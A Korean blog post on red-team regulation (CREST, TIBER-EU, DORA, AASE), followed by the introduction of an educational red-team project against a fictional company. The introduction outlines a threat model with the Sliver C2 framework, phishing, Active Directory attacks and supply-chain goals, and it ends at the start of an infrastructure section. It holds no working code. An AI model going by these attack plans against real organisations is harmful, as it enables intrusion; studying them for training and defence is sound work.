영국과 유럽 연합의 가장 특징적인 점은 바로 CREST라는 비영리 인증 기관을 통해 사이버 보안 기술 및 서비스의 품질을 체계화 시키고 있다는 점이다. 레드팀을 예로 들자면 프레임워크의 인증, 수행 기업과 인원의 자격, 심지어는 수행 인원이 받은 교육 프로그램의 인증까지, 모든 것들을 국내의 소위 `8대 전문직` 처럼 체계화 시키고 있다. 이처럼 CREST는 레드팀 뿐만 아니라 사이버 보안과 관련된 모든 것에 대한 자격을 부여하고 인증을 심사하는 기관이다. 국내에서는 [SK인포섹이 2018년](https://m.blog.naver.com/skinfosec2000/221330540930) CREST 인증을 획득하며 알려지기 시작했다.

예를 들어 유럽 내의 은행이 TIBER-EU 평가 체계를 통과하기 위해 레드팀 서비스를 받아야한다면,

* TIBER-EU 평가 체계가 CREST 인증을 받았음을 확인하고 - [링크](https://www.crest-approved.org/membership/tiber-eu/)
* TIBER-EU 레드팀 서비스를 진행할 수 있는 인증된 기업 목록을 CREST에서 확인한 뒤 - [링크](https://www.crest-approved.org/members/?filter_government_scheme_10717=TIBER%20EU%20\(Europe\))
* 수행 인원들의 레드팀 전문 자격증 CCSAS 취득 여부를 확인하고 - [링크](https://www.crest-approved.org/skills-certifications-careers/crest-certified-simulated-attack-specialist/)
* 마지막으로 수행 인원들이 인증된 교육 기관/기업에서 교육을 받았는지 확인할 수 있다 - [링크](https://www.crest-approved.org/skills-certifications-careers/approved-training-providers/)

이처럼 서구권에서는 CREST를 필두로 해 레드팀 뿐만 아니라 정보보안과 관련된 자격, 인증 심사, 교육을 모두 표준화, 체계화 하려는 움직임을 보이고 있다.

### 미국

정보보안의 선도 국가인 미국은 오히려 레드팀 관련 법, 프레임워크, 평가 체계를 갖추지 않고 있다. 그러나 사이버 공격 이후의 징벌적 과징금, 집단 소송, 주가 변동 등으로 인해 정보보안에 대해 진지하게 생각하는 기업들이 레드팀 서비스를 받는 사례들이 증가하고 있다. 이는 보안 컨설팅 업체들이 최근 10년 내에 레드팀/공격자 시뮬레이션 부서를 신설한 것만 보더라도 알 수 있다. 또한, 레드팀 수요 증가에는 아래의 다음 사건들도 어느정도 영향을 미친 것으로 보인다.

1. 2021년 4월 - 바이든 행정부의 `국가 사이버 보안 개선에 관한 행정 명령` - [링크](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/)

솔라윈즈 해킹, 익스체인지 사태, 콜로니얼 파이프라인 해킹 등 대형 사건 사고들을 겪으며 백악관에서 행정 명령이 나올 정도로 미국에서는 사이버 보안과 관련된 관심이 높아졌다. 대규모 사이버 공격 및 OT 인프라가 마비될 정도의 고도화된 공격을 받았기 때문에 레드팀 서비스를 통해 이를 시뮬레이션 하고 탐지 및 대응 하려는 노력들도 많아지고 있다. 이와 관련한 국내 기사는 다음의 링크를 참고한다 - [링크](https://m.boannews.com/html/detail.html?idx=97506\&page=2\&mkind=1\&kind=1)

2. 2023년 7월 - 미국 증권거래위원회의 사이버 공격 4일 공시 의무화 - [링크](https://www.sec.gov/rules/2022/03/cybersecurity-risk-management-strategy-governance-and-incident-disclosure#33-11216)

과거 대형 해킹 사건이 났을 때 이를 은폐하거나 피해를 최소화해 공표하려는 시도들 때문인지, 미국 증권거래위원회는 사이버 공격 발생 시 4일 이내에 정보 공시를 의무화 하는 규정을 제정했다. 이 때문에 단순히 로비 활동을 통해 언론이 해킹 공격을 "덮는" 경우가 많이 줄어들었고, 이는 곧 기업들의 사이버 보안 투자 증가로도 이어졌다. 이와 관련된 국내 기사는 다음의 링크를 참고한다 - [링크](https://www.techtube.co.kr/news/articleView.html?idxno=3613)

## 2. 왜? - 레드팀 평가 체계, 프레임워크, 법률이 만들어진 이유

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/why.png" alt=""><figcaption></figcaption></figure>

그렇다면 왜 서구권, 홍콩, 싱가포르, 사우디아라비아쪽에서는 레드팀과 관련된 평가 체계, 프레임워크, 법률들을 만들었을까? 이 질문에 답하기 위해 관련 문서들에서 언급된 부분들을 살펴보고 분석해봤다.

참고로 문서들에서는 레드팀 서비스를 받는 기관들을 엔티티(Entity) 라는 단어로 표현하는데, 국내 정서에 맞게 일단은 "기관"이라는 용어를 사용했다. 또한 전문 번역가는 아니기에 번역에 있어서 어느정도 오류나 의역에 있다는 점을 양해 바란다.

### TIBER-EU 섹션 2.5 - 왜 위협 주도 레드티밍 테스트인가?

TIBER-EU에서는 금융 기관들의 IT 환경이 얼마나 많이 변화되고, 고도화 되고, 복잡하게 바뀌었는지에 대해 섹션 2.1에서 서술한다. 그 뒤, 현재 제공 되고 있는 모의해킹 서비스들의 한계에 대해서 섹션 2.5에서 다음과 같이 서술한다:

> 모의해킹은 단일 고립된 시스템이나 환경에서 기술적, 환경적 취약점에 대한 상세하고 유용한 평가를 제공한다. 하지만, 모의해킹은 기관 전체(사람, 프로세스, 기술)에 대한 표적 공격의 전체 시나리오를 평가하지 않는다.   ("Penetration tests have provided a detailed and useful assessment of technical and configuration vulnerabilities, often within isolation of a single system or environment. However, they do not assess the full scenario of a targeted attack against an entire entity (including the complete scope of its people, processes and technologies.")

[레드팀이란?](/what-even-is-redteam) 글에서도 잠깐 언급했지만 모의해킹은 고립되고 지엽적인 시스템이나 환경의 취약점을 알아내는데 특화된 서비스다. 하지만 실제 공격자들의 공격은 특정 도메인, 특정 시스템들"만" 공격하지 않는다. 실제 공격자들은 타겟의 모든 자산을 유기적으로 넘나드며 공격을 진행한다. 따라서 모의해킹이 평가하지 못하는 부분 - 타겟 전체에 대한 표적 공격 - 을 커버하기 위해 레드팀 서비스를 받아야한다는 것을 강조하고 있다.

### DORA Article 26 - 2번

> 각 위협 주도 침투 테스트의 타겟은 기관에서 운영중인 중요 기능들의 일부, 혹은 전체를 포함해야 하며, 실제 해당 기능을 운영중인 라이브 프로덕션 시스템들에서 수행되어야 한다. (Each threat-led penetration test shall cover several or all critical or important functions of a financial entity, and shall be performed on live production systems supporting such functions.)

DORA 아티클 26번의 중요한 부분이다. 단순한 사이버 레인지(Cyber Range)등에서 이뤄지는 공격/방어 형식의 레드팀은 충분하지 않고, 실제 프로덕션 서버에서 실제 기능들을 수행하는 시스템들을 상대로 TLPT(위협 주도 침투 테스트)를 진행해야 한다고 명시하고 있다. 모의해킹은 가용성의 문제 때문에 UAT, DEV, 스테이징 등의 시스템이나 네트워크에서 이뤄지는 경우가 많은데, 이를 허용하지 않겠다는 의미이기도 하다. 실제 공격자들은 라이브 프로덕션 시스템들을 공격하지, 친절하게 UAT 환경으로 옮겨가서 공격하지 않는다. 사이버 공격 시뮬레이션을 실제 시스템에서 실행함으로서 가장 실전에 가까운 현실적인 훈련을 받으라는 것으로 이해하면 될 듯 하다.

> 기관들은 ICT(정보 통신 기술) 서비스를 운영하는데 있어 관련된 ICT 시스템, 프로세스, 기술을 식별해야한다. 여기엔 ICT 제3자 서비스 제공업체에게 아웃소싱 되었거나 외주된 것들도 포함된다. (Financial entities shall identify all relevant underlying ICT systems, processes and technologies supporting critical or important functions and ICT services, including those supporting the critical or important functions which have been outsourced or contracted to ICT third-party service providers.)

DORA에서 위협 모델링(Threat Modeling)을 간접적으로 언급한 부분이다. 레드팀 서비스를 받을 각 기관들에게 1) 주요 기능은 무엇인가? 2) 해당 기능과 관련된 시스템, 프로세스, 기술은 무엇인가? 3) 어떤 것들이 외주로 만들어졌는가? 에 대해서 생각하도록 하고 있다. 위협 모델링의 첫번째 단계 중 하나인 자산 식별 및 목표 설정을 안내하고 있는 것이다. 풀어 쓰자면 `뭘 지켜야 하는가?` 에 대해 고심해보라는 것이다.

### AASE - Executive Summary

> 금융 기관에 대한 사이버 보안 공격은 범위, 복잡성, 정교함 측면에서 빠르게 진화하고 있다. < . . . > 기관들이 직면한 특별한 위협을 상대로 효율적인 자원 배분을 하기 위해 기관들은 위협 모델링을 통해 가능한 공격자들과 공격 경로들을 식별하고 공격 시뮬레이션 및 시나리오를 제작하는 것이 권장된다. (Cyber security attacks against organisations such as financial institutions (FIs) are evolving rapidly in scope, complexity and sophistication. In order to efficiently allocate their resources to the unique threats they are facing, FIs are encouraged to create scenarios for their attack simulation by identifying the most likely adversaries and the attack vectors through threat modelling.)

싱가포르 은행 협회의 AASE 개요 섹션의 한 부분이다. 별 다른 설명이 필요없을만큼 레드팀/공격자 시뮬레이션이 왜필요한지에 대해 설명하고 있다.

이외에도 다양한 방안들을 살펴보고 종합해보면, 다음과 같은 이유 때문에 이런 방안들과 레드팀 서비스가 만들어졌다고 볼 수 있다:

**사이버 공격이 점차 고도화 됨에 따라, 기존의 지엽적인 모의해킹 및 취약점/소스코드 분석은 방어자의 전체적인 인력, 프로세스, 기술에 대한 전반적인 평가를 내리는데에 부족함이 있다. 따라서, 기관의 관리적, 기술적 보안을 담당하는 인력, 대응 절차, 보안 통제, 기술 등의 현황과 부족한 간극을 최대한 현실적으로 평가하기 위해 실제 공격자들의 공격 라이프사이클과 전략, 전술, 절차(TTP)를 에뮬레이트 (emulate), 혹은 시뮬레이트 (simulate) 하는 가상의 사이버 공격을 진행하는 레드팀 서비스를 도입할 필요가 있다.**

## 3. 무엇을? - 레드팀 평가 체계, 프레임워크, 법률의 내용

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/what.png" alt=""><figcaption></figcaption></figure>

높은 수준의 APT 그룹들의 행동을 시뮬레이트하는 레드팀 서비스는 명확한 방법론, 규칙, 자격, 인증 없이 수행될 경우 심각한 문제를 초래할 수 있다. 따라서 레드팀 평가 체계, 프레임워크, 법률은 프로젝트를 진행하는데 있어 모든 이해관계자가 동일한 용어, 방법론, 활동, 결과물, 상호작용 단계들을 사용할 수 있도록 이를 표준화하고 체계화하는데 중요한 역할을 한다.

TIBER-EU를 예로 들자면, 레드팀과 관련된 다음의 항목들에 대한 표준화를 하고 있다. [TIBER-EU 링크](https://www.ecb.europa.eu/pub/pdf/other/ecb.tiber_eu_framework.en.pdf). 아래는 TIBER-EU의 1 페이지 요약이다.

### 1. 레드팀 프로세스

모든 기관들이 체계화된 레드팀 서비스를 받을 수 있도록 다음과 같이 표준화했다.

* **준비 단계:** 위협 배경, 프로젝트 스코핑, 위협 인텔리전스 및 서비스 제공자와의 계약
* **테스트 단계:** 위협 인텔레전스 및 레드팀 서비스 실행
* **마무리 단계:** 대응 방안 마련 및 결과 공유

이와 관련된 세부 사항은 섹션 4.2 Process Overview를 참고한다.

### 2. 준비 단계

**주요 이해관계자 역할 및 설정:** 레드팀 서비스를 진행하는데 있어 필요한 인력 및 이해관계자를 설정한다. 테스트 매니저, 화이트팀, 블루팀, 위협 인텔리전스 제공 업체, 레드팀 서비스 제공 업체, 정보기관 및 국가 사이버 보안 센터 등을 명시해놨다. 섹션 5.3 - Test Management와 5.4 Test Implementation 참고.

**위협 관리:** 레드팀 서비스를 진행하며 위협 관리와 위협 평가는 어떤 주체가 실행하는지, 그리고 위협 인텔리전스 및 레드팀 제공 업체를 선정하는데 있어 필요한 최소한의 요구 사항 및 계약 사항, 비밀 유지 계약서 등에 대해 설명한다. 섹션 6 - Risk Management for TIBER-EU tests 참고.

**준비 단계:** 프로젝트 브리핑, 계약 과정에 필요한 업체 자격/인증, 프로젝트 스코프 및 목표 설정, 플래그 및 가짜 데이터 생성에 대해 설명한다. 섹션 7 - Preparation Phase 참고.

### 3. 테스팅 단계

**위협 인텔리전스 테스팅:** 레드팀을 진행하기 전, 위협 인텔리전스 테스팅을 먼저 진행한다. GTL 보고서를 통해 금융 업계를 위협하는 공격자들에 대한 전반적인 정리를 한 뒤, TTI 보고서를 통해 기관의 현재 방어 체계와 공격 표면을 바탕으로 한 현실적인 공격 시나리오를 구상한다. 더 현실적인 공격 시나리오를 만들기 위해 가능하다면 국가 정보기관의 도움을 받는다. 가장 중요한 목표중 하나는 바로 공격할 타겟과 현실적인 위협을 정의하는 것이며, 이는 모두 실제 예시 및 정보기관의 정보를 바탕으로 만들어져야한다. 섹션 8 - Testing Phase: Threat Intelligence and Scenarios 참고

**레드팀 테스팅:** 사이버 킬체인이 살짝 변형된 - Reconnaissance, Weaponization, Delivery, Exploitation, Control and Movement, Actions on Target - 형태로 이뤄진다. 레드팀 서비스를 수행하기 전, 위협 인텔리전스 단계의 TTI 보고서를 기반으로 공격 시나리오 및 계획을 만들어 이해관계자에게 전달한다. 공격 시나리오에는 공격할 타겟 시스템들 및 플래그가 명확해야한다. 사용할 TTP는 인젤리전스를 바탕으로 한 높은 수준의 실제 공격자들의 TTP와 비슷하면서도, 상황에 맞게 TTP를 수정 할 수 있는 유연성과 창의성을 갖춰야한다. 실제 공격자들과는 달리 레드팀들은 정해진 시간, 인력, 예산이 있기 때문에 내부 시스템에 관련된 정보가 너무 없거나 찾기 불가능한 경우에는 화이트팀이나 타겟 기관과 소통해 어느정도의 정보를 얻는다. 특정 구간/단계에서 막힌 경우 침해 가정 시나리오(Assumed Breach)나 특정 권한 및 플래그를 준 뒤 재개해 모든 프로세스를 다 시험 할 수 있도록 한다. 섹션 9 - Testing Phase: Red Team Testing 참고.

### 4. 마무리 단계 세부 설명

마무리 단계에서는 각 이해관계자들이 역할에 맞는 보고서를 작성한 뒤, 디브리핑을 진행한다.

* **레드팀 보고서** - 기술적/비-기술적 취약점, 공격 방식, 발견점들에 대한 서술
* **블루팀 보고서** - 레드팀 보고서를 기반으로 한 공격자 TTP와 그에 따른 탐지/대응 방안 맵핑
* **레드팀 & 블루팀 리플레이 워크샵** - 레드팀과 블루팀 보고서를 기반으로 한 퍼플팀을 진행하며 특정 공격/탐지/대응에 관련되서 레드팀과 블루팀이 협력한다.
* **360도 피드백** - 기관, TCT, 위협 인텔리전스 업체, 레드팀 업체들이 모두 모여, 진행된 TIBER-EU 테스트에 관련된 피드백 워크샵을 진행한다.
* **대응 방안 계획 및 테스트 요약 보고서** - 기관은 모든 보고서, 디브리핑, 워크샵을 기반으로 한 대응 방안 보고서를 작성한 뒤, TIBER-EU 테스트의 요약 보고서를 작성한다.

위와 관련된 모든 결과물들이 제출되고, 모든 이해관계자가 동의 한다면 TIBER-EU 테스트 종료 확인/증명 프로세스를 진행해 모든 테스트가 성공적으로 끝남을 알린다.

섹션 10 - Closure Phase 참고.

## 4. 어떻게? - 실무에서 방안들이 어떻게 활용되고 있는가

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/how.png" alt=""><figcaption></figcaption></figure>

평가 체계, 프레임워크, 법안들은 실무에서 사용되고 있을까? 만들어놓기만 한 건 아닐까?

유럽 연합에서 TIBER-EU 및 TIBER 계열의 평가 체계는 실제로 활발히 사용되고 있다. 유럽 중앙 은행은 2023년 4월, 약 5년 동안 총 100회의 TIBER 테스트가 성공적으로 수행되었다는 것을 발표했다([링크](https://www.ecb.europa.eu/paym/intro/news/html/ecb.mipnews230427.en.html)). 물론 중복 테스트도 있었겠지만, 러프하게 보자면 2018년에서 2023년 동안 유럽 내 금융 기관 약 100곳에서 TIBER-EU를 실행했다는 것을 의미한다.

영국 및 유럽 보안 컨설팅 업체들은 평가 체계와 프레임워크를 기반으로 한 레드팀 서비스 제공을 마케팅 포인트로 삼고 있다. 예를 들어 NightHawk C2 프레임워크로 유명한 MDSEC은 CREST 인증을 통해 CBEST, TIBER, STAR 관련 프로젝트를 진행할 수 있다는 홍보를 한다.

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/image-1.png" alt=""><figcaption><p>MDSEC의 레드팀 홍보 페이지 중 (출처: https://www.mdsec.co.uk/our-services/adversary-simulation/red-team-operations/)</p></figcaption></figure>

NightHawk의 탄생 비화도 재미있다. MDSEC에서 레드팀 서비스를 제공하며 코발트 스트라이크(Cobalt Strike)를 많이 사용했었는데, 작전을 뛸 때마다 CS가 EDR 솔루션들에게 너무 많이 걸려 아예 작정하고 NightHawk를 만들었다는 것이다. 이처럼 유럽의 보안 컨설팅 업체들에서는 TIBER/CBEST를 기반으로 하는 레드팀 서비스를 많이 제공하고 있는 듯 하다. 유럽에서 제대로된 레드팀 서비스를 제공하는 업체들이 궁금하다면 MDSEC, Outflank(Fortra에 인수), NCC Group, Pen Test Partners, Security Alliance, WithSecure 등을 참고한다.

DORA는 기관들이 적어도 3년마다 한번씩 레드팀(TLPT)를 실시하도록 법적으로 규정하고 있다 ("Financial entities . . . shall carry out at least every 3 years advanced testing by means of TLPT"). 물론 이 주기는 기관과 환경에 따라 더 짧아질수도, 길어질수도 있지만, 아예 법률에 이렇게 제정해놨다는 것 자체에 의미가 있다. DORA는 2023년도 1월에 발효되었으며, 2025년 1월부터 적용된다.

미국의 경우에는 앞서 언급했듯 레드팀 관련 평가 체계나 프레임워크가 아직 없다. 하지만 자본주의의 나라 답게 집단 소송과 금융 치료를 피하고 싶은 업체들이 레드팀 서비스를 많이 받고 있다. 미국 내 최상위 정보보안 컨설팅 업체들이 10년 사이 레드팀 부서들을 신설한 이유다. 어떤 업체들이 제대로된 레드팀 서비스를 제공하는지 궁금하다면 IBM X-Force, TrustedSec, SpecterOps, Mandiant/Google, NetSPI, BishopFox, Rapid7, Fortra 등의 회사들을 참고한다.

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/image-2.png" alt=""><figcaption><p>IBM X-Force의 오펜시브 시큐리티 서비스 중 레드팀 (출처: https://www.ibm.com/downloads/cas/JZ38L39E)</p></figcaption></figure>

인하우스 레드팀들도 빼놓을 수 없다. 개인적으로 유럽에서는 일을 안해봐서 모르지만, 미국에서는 Fortune 100을 필두로 해 많은 대기업들에서 사내 레드팀을 운영하고 있다. 단순히 IT나 빅테크 뿐만 아니라, 다른 업계의 대기업들 또한 레드팀을 운영한다. 예를 들어 Walmart, Target, Wegmans 와도 같이 IT와는 좀 거리가 먼 업체들 또한 사내 레드팀을 최근 10년내 신설한 뒤 운영중에 있다.

## 국내 상황

<figure><img src="https://blog.sunggwanchoi.com/content/images/2024/03/south-korea.png" alt=""><figcaption></figcaption></figure>

국내에서는 아직까지 레드팀/공격자 시뮬레이션과 관련된 움직임이 없다. 컨설팅 업체들의 경우 종종 목표 기반 침투 테스트라던지 시나리오 기반 침투 테스트를 진행하기는 한다. 하지만 포괄적인 자산(외부망, 사내/내부망, 액티브 디렉토리, 소셜 엔지니어링, 모바일, OT, 등)을 대상으로 실제 공격자들의 TTP(피싱, 뷔싱, C2 프레임워크 사용, PostEx 툴링, EDR 우회, 지속성 유지, 페이로드 개발, 터널링을 통한 피벗, 횡적 이동)를 사용하며, 해외 기준으로 레드팀 서비스라고 부를 수 있는 프로젝트를 진행하는 업체는 아직까지는 없는 것 같다. (있으면 링크드인 메시지 제보 부탁드린다. 바로 이력서 넣겠습니다.)

이는 컨설팅 업체들의 기술력 부재라기 보다는, 레드팀과 관련된 개념 및 수요가 국내에 아직 존재하지 않기 때문이다. ISMS-P 인증 심사를 제외하면 오펜시브 시큐리티와 관련된 평가 체계, 인증 체계, 프레임워크, 법, 컴플라이언스는 없는 것으로 알고 있다. 대부분의 고객사들 또한 사이버 공격을 받아도 별 다른 금전적 영향이 없다보니 인증 심사를 제외한 실제 정보 보안에는 큰 신경을 쓰지 않고 있다. 그렇다보니 레드팀/공격자 시뮬레이션에 관련된 개념을 모르는 경우가 많고, 안다고 하더라도 해야한다는 강제성이 없기에 수요가 없다. ISMS를 제외하고 대부분의 매출이 취약점 연구, 제로데이 발견에 치중되어 있기에 레드팀은 커녕 모의해킹에도 신경쓰는 컨설팅 업체가 많지 않기도 하다.

하지만 이런 국내의 상황도 최근 조금씩 변화하고 있는 것 같다. 인하우스 레드팀을 만드는 대기업들이 하나 둘 씩 보이기 시작하고, 단순한 모의해킹을 넘어 침투테스트를 진행하는 컨설팅 업체들도 보이고 있다. 컨설팅 업체들은 아직까지 레드팀/공격자 시뮬레이션 부서를 만들거나 인력을 뽑고 있지는 않지만, 슬슬 관련된 사업들 생각하거나 구상하는 경우도 있는 것 같다. HTTPS, 클라우드의 도입, 오픈소스, 데브옵스, 정보보안, AI까지 쭉 보고 있노라면 국내 IT는 서구권에 비해 약 5년에서 10년 정도 뒤쳐진 것 같다는 생각을 했었다. 따라서 어떻게 보면 2010년 중반 서구권에서 레드팀이 도입된 이후 10년이 지난 지금, 국내에서도 레드팀 개념이 조금씩 퍼지게 되지 않을까 는 전망을 해본다.

## 마치며

이번 글에서는 레드팀/공격자 시뮬레이션과 관련된 전세계 트랜드, 평가 체계, 프레임워크, 법안에 대해서 살펴본 뒤, 이런 방안들이 왜 나왔고, 어떤 내용들이 들어가 있는지에 대해 알아봤다. 또한 현재 국내 상황과 앞으로의 미래에 대해서 간단하게 생각을 남겨봤다. 앞으로 어떻게 될지 모르겠지만, 적어도 오펜시브 시큐리티와 레드팀에 관련된 전세계적인 트렌드는 국내에 알려야한다고 생각해 글을 남긴다.

레드팀과 공격자 시뮬레이션, 그걸 넘어 정보보안의 봄이 올때까지,

Happy Hacking!

### 레퍼런스

* TIBER-EU: <https://www.ecb.europa.eu/pub/pdf/other/ecb.tiber_eu_framework.en.pdf>
* CBEST: <https://www.bankofengland.co.uk/financial-stability/operational-resilience-of-the-financial-sector/cbest-threat-intelligence-led-assessments-implementation-guide>
* FEER: [https://uploads-ssl.webflow.com/59d28ad983887e000196f803/5fecc27919c71c17d5a10851\_Financial Entities Ethical Red Teaming Framework.pdf](https://uploads-ssl.webflow.com/59d28ad983887e000196f803/5fecc27919c71c17d5a10851_Financial%20Entities%20Ethical%20Red%20Teaming%20Framework.pdf)
* AASE: <https://abs.org.sg/docs/library/abs-red-team-adversarial-attack-simulation-exercises-guidelines-v1-06766a69f299c69658b7dff00006ed795.pdf>
* DORA - Article 26: <https://www.digital-operational-resilience-act.com/Article_26.html>
* How Red team testing frameworsk can enhance the cyber resilience of financial institutions: <https://www.bis.org/fsi/publ/insights21.pdf>
* IT World - DORA 관련 기사: <https://www.itworld.co.kr/news/173484>


# 개요

## 베이직 레드팀 (Basic Redteam) 프로젝트

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F8gn1TzDlNbEdfMpaeK7U%2Fbasic-redteam.webp?alt=media&amp;token=d768a5f7-1fcd-4635-a65d-8b44edbb5be7" alt="" width="563"><figcaption></figcaption></figure>

베이직 레드팀/레드티밍(Basic Redteam/Redteaming)은 기본적인 온-프레미스 기반 레드팀 작전에서 기술적인 공격 시나리오를 중심으로 공격자 인프라 구축, 정보 수집, 권한 상승, 횡적 이동, 후속 공격, 목표 달성 과정을 직접 실행해보는 프로젝트입니다.

국내에는 공격자 시뮬레이션과 관련되어 공격자 인프라 구성 및 C2 기반의 침투를 보여준 공개된 프로젝트가 없다고 판단하여 이번 기회에 진행한 내용을 공개합니다.

레드팀(공격자 시뮬레이션)이 어떻게 이뤄지는지에 대해 알아보고, 각 페이지의 "우리 회사는" 섹션을 통해 이러한 유형의 공격을 탐지하거나 방어할 수 있을지 고민해 보는 계기를 제공할 수 있다면, 그것만으로도 충분히 의미가 있을 것입니다.

이 프로젝트와 관련된 질문이나 국내 레드팀 커뮤니티를 같이 꾸려갈 분들은 레드라쿤의 디스코드 서버로 와주시면 감사하겠습니다. <https://discord.gg/FGeh8Uk9Dg>

Brought to you, with <3, by: choi@레드라쿤

### Disclaimer

본 프로젝트의 모든 내용은 교육 목적으로 작성되었으며, 공개된 인터넷 정보들을 바탕으로 제작되었습니다. 본 프로젝트는 사전에 명시적인 허가를 받지 않은 컴퓨터 시스템, 네트워크 또는 기타 디지털 자산에 대한 접근, 모의 해킹, 사이버 공격 등 **모든 불법적인 행위를 엄격히 금지합니다.** 이러한 행위는 법적으로 금지되어 있으며, 국내외 법률에 따라 처벌될 수 있습니다.

## 배경

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FRtaE2VZFmZtvlkrZ5smP%2Fraccoontech.webp?alt=media&amp;token=4f6f8bbd-499b-49ca-a725-e058a4b3916b" alt="" width="375"><figcaption></figcaption></figure>

라쿤 테크는 IT 관련 모바일 어플리케이션 및 플랫폼을 제공하는 가상의 회사다. 최근 국내IT 업계를 대상으로 하는 APT 1337의 공격이 많아짐에 따라, 라쿤 테크는 현재 가진 보안 인력, 프로세스, 기술 (People, Process, Technology)을 바탕으로 현실적인 사이버 공격을 받았을 때 이를 탐지 및 방지할 수 있는지 알아보기 위해 레드팀을 진행했다.

### 목표

현재 보안 인력, 프로세스, 기술을 가지고 현실적인 사이버 공격을 탐지 및 방지할 수 있는지 알아보기 위함

### 목적

1. 외부 공격자(Outsider)가 라쿤 테크의 소스 코드 저장소에 접근해 소스 코드 탈취를 할 수 있는가
2. 외부 공격자가 라쿤 테크의 GitLab CI/CD 프로세스를 장악해 소스 코드 변조 후 공급망 공격을 진행할 수 있는가
3. 외부 공격자가 라쿤 테크의 본사, 미국 지사, 인도 지사의 사내망의 액티브 디렉토리를 장악할 수 있는가

### 환경

라쿤테크는 국내 가상 IT 회사이며, 다음과 같은 IT 환경을 가지고 있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FynSlMJRHJTp0KkzUYttU%2Ffull-diagram.png?alt=media&amp;token=e9fae164-c9b6-473f-95f1-2aa37fad2187" alt=""><figcaption></figcaption></figure>

라쿤테크는 오래된 IT 회사로, 클라우드 도입이 늦어 현재까지 온-프레미스 환경을 유지하고 있다. 주요 자산은 주로 액티브 디렉토리와 윈도우 기반으로 구성되어 있으며, Gitlab과 Bookstack(위키 서버) 등은 우분투 기반의 서버에서 운영되고 있다.

본사 네트워크는 국내와 미국 법인으로 이뤄져 있으며, RT.LOCAL이라는 포레스트에 속해있다. 모바일 어플리케이션 및 라쿤 플랫폼을 개발하고 있는 인도쪽 지사는 DEV.RACCOON 포레스트에 속해있다.

이외에 따로 라쿤 IT라는 MSP 회사와 외주 계약을 맺어 IT 및 보안을 맡기고 있는데, 이번 베이직 레드팀 시나리오에서는 MSP.ORG와 라쿤 IT의 고객사들은 모두 범위에서 제외된다.

### 위협 모델링

다음 표는 Red Team Development and Operations - A Practical Guide 에서 고안된 예시 위협 분석을 이번 프로젝트에 맞게 수정한 위협 모델링이다.

<table><thead><tr><th width="215">카테고리</th><th>설명</th></tr></thead><tbody><tr><td>예시 위협</td><td>2025년 1분기 국내 IT 업계를 공격한 APT 1337</td></tr><tr><td>상세정보</td><td>낮은 수준의 공격자. 금전적인 이득을 목표로 한 랜섬웨어 갱.<br>오픈소스 C2 및 툴을 활용해 공격함</td></tr><tr><td>목표</td><td>소스 코드 탈취 및 공급망 공격으로 인한 추가 피해자 확보</td></tr><tr><td>공격자 위치</td><td>외부 공격자(Outsider). 인터넷을 통해 침투.</td></tr><tr><td>C2 정보</td><td>AWS, Azure, GCP 등을 이용한 클라우드 C2 서버<br>오픈소스 C2 프레임워크 Sliver<br>HTTPS 비컨 및 에이전트<br>AWS, Azure, GCP 등을 이용한 리다이렉터<br>공격자 도메인</td></tr><tr><td>TTP 개요</td><td>초기 침투 - 피싱 이메일, 페이로드<br>정보 수집 - 블러드 하운드 및 사내 위키 서버<br>권한 상승 - 액티브 디렉토리 기반 공격<br>횡적 이동 - PSExec, WinRM 등의 기본적인 윈도우 기반 횡적 이동<br>지속성 유지 - 없음.<br>목표 달성 - 소스 코드 탈취 및 랜섬웨어 배포</td></tr><tr><td>익스플로잇</td><td>제로데이 및 N-Day 익스플로잇 사용하지 않음.<br>피싱을 통한 초기 침투</td></tr><tr><td>레퍼런스</td><td>APT 1337 CTI 분석 보고서 (링크)</td></tr></tbody></table>

### 한계점

베이직 레드팀은 혼자서 진행하는 사이드 프로젝트이기 때문에 현실적인 대상의 환경과 레드팀 TTP를 모두 보여줄 수 없다. 따라서, 프로젝트에는 다음과 같은 한계점이 존재한다:

* **스케일:** 수만대의 호스트, 수천개의 어플리케이션/서비스, 수백개의 네트워크 등을 포함한 현실적인 환경을 만들기는 불가능해 작은 스케일로 진행된다.
* **현실적인 TTP:** 실제 레드팀 업무에서는 기술적 공격뿐만 아니라 문서를 읽고, 환경을 이해하며, 맥락을 분석하는 데 많은 시간을 할애한다. 그러나 이번 프로젝트는 기술적 TTP에만 집중한다.
* **공격자 수준:** 프로젝트는 낮은 수준의 공격자 관점에서 진행되며, 연휴 동안 간단히 진행하는 터라 활용되는 TTP 및 공격자의 수준이 제한적이다.
* **클라우드:** AWS, Azure 등의 클라우드 플랫폼 뿐만 아니라 EntraID, M365등의 클라우드는 이번 프로젝트에서 제외됐다 (금전적 이유 + 국내 도입 현황)
* **외부망 정보 수집, OSINT:** 는 생략했다. 인터넷에 라쿤 테크 관련된 자산 및 데이터를 만들기에는 시간이 없었다.

### 시작

그럼 이제 레드팀 업무를 배정받은 레드라쿤의 레드팀 오퍼레이터로서, 이번 라쿤테크를 향한 레드팀 업무를 시작한다.


# 1. 공격자 인프라 구성

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* 도메인 구입
* 클라우드플레어(Cloudflare) Workers를 이용한 리다이렉터 생성
* C2 서버 생성, 방화벽 구축
* C2 서버의 Malleable C2 Profile을 이용한 네트워크 트래픽 변경

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FUprkzIKSwXGJBiBOpV6i%2FAttackPath0-cloudflare-infra.drawio.png?alt=media&amp;token=67959657-a6e3-4546-b9fb-35f5c185eeae" alt=""><figcaption></figcaption></figure>

## 도메인 구입

